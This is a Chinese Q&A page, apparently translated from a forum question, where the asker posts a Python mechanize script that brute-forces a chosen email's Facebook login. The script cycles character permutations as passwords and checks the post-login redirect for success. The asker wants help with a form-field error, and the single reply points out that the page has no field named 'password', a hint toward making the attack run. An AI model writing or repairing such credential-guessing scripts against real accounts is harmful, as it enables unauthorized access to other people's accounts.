强力脚本python和mechaniz

2024-04-25 23:28:47 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图用python脚本来强制Facebook登录页面,但是每当我运行代码时,都会出现以下错误。我的代码是:

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email" 
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')

if contnue == 'y':
    combos = itertools.permutations("i3^4hUP-",8)
    br.open("http://www.facebook.com/login/")
    for x in combos:
        br.select_form( nr = 0 )
        br.form['email'] = email 
        br.form['password'] = ''.join(x)
        print "Checking ",br.form['password']
        response=br.submit()
        if response.geturl()=="http://www.example.com/redirected_to_url":
            #url to which the page is redirected after login
            print "Correct password is ",''.join(x)
            break

该脚本使用mechanize模块尝试并强制使用默认的facebook登录页面。在

我的错误的堆栈跟踪是:

^{pr2}$

有人能解释一下错误信息是什么意思吗?在


Tags: to代码brform脚本truerawemail
1条回答
网友
1楼 · 发布于 2024-04-25 23:28:47

您的错误消息:

mechanize._form.ControlNotFoundError: no control matching name 'password'

试试看。然后看看你试图编码的页面。该表单上没有名为“password”的表单域。在

相关问题 更多 >

    热门问题